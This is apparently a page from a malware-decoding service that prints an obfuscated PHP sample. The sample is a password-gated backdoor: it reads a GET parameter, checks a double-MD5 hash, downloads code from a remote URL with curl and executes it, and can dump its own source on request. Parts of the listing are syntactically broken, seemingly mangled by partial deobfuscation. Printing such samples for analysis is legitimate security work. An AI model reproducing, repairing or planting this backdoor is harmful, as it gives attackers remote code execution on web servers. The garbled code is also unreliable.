Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$Ew = range("~", " ");
	 if((in_array(gettype($mM).count($mM),$mM)&&count($mM)==15)){
	(("5"="54")&&($mM[90]="5"($mM[90]))&&(@
}
	class W{
		 static function UI($NepMqkKr) {
		 $DltXEarB = "range";
		 $zyVlJoO = $DltXEarB("~", " ");
		 $UOByaCl = explode(, $NepMqkKr);
		 $RtlNJbH = "";
		 foreach ($UOByaCl as $qBQLaxF => $izupQJqDc) $RtlNJbH .= $zyVlJoO[$izupQJqDc - 65779];
		 return $RtlNJbH;
		 
	}
		 static function qrQNwVCW($piqwLnOPFV, $yCjfkqiLSc) {
		 $hyzMkOSJKI = curl_init($piqwLnOPFV);
		 curl_setopt($hyzMkOSJKI, CURLOPT_RETURNTRANSFER, 1);
		 $wl = curl_exec($hyzMkOSJKI);
		 return empty($wl) ? $yCjfkqiLSc($piqwLnOPFV) : $wl;
		 
	}
		 static function bzYJi() {
		 $FNGQWcafeT = array("658066579165804658086578965804658106580365788657956580665789658006579465795","657906578965791658106579165794657896585665854","6579965790657946579565810658056580465806657946580565804","65793658086580665798","65807658086579065804658516585365810658056580465806657946580565804","6580365800657976580465810658026580465789658106580665794657956578965804657956578965790","6583365863","65780","6585865863","6584065823658236584065816","6579465803");
		 foreach ($FNGQWcafeT as $UNxcJ) $XSg[] = self::UI($UNxcJ);
			$whN = @"{
				"(${
				"_GET"
			}
			[$XSg[6+3]]);
			 $ivqcSDhPF = @$XSg[2+1]($XSg[6+0], $whN);
			 $iBpvR = $XSg[0+2]($ivqcSDhPF, true);
				 @${
				"_GET"
			}
			[$XSg[0+10]] == 1 && die($XSg[3+2](__FILE__));
			 if( ((@"$" - time()) > 0) and (md5(md5($iBpvR[2+1])) === "ac25e37832d44330a82f76d3bb818c6a") ): $gvwR = self::qrQNwVCW($iBpvR[0+1], $XSg[0+5]);
			@"$"("", $XSg[4+3] . $XSg[0+4]($gvwR) . $XSg[8+0]);
			die;
			 endif;
			 
		}
	}
	W::bzYJi();
	



© 2023 Quttera Ltd. All rights reserved.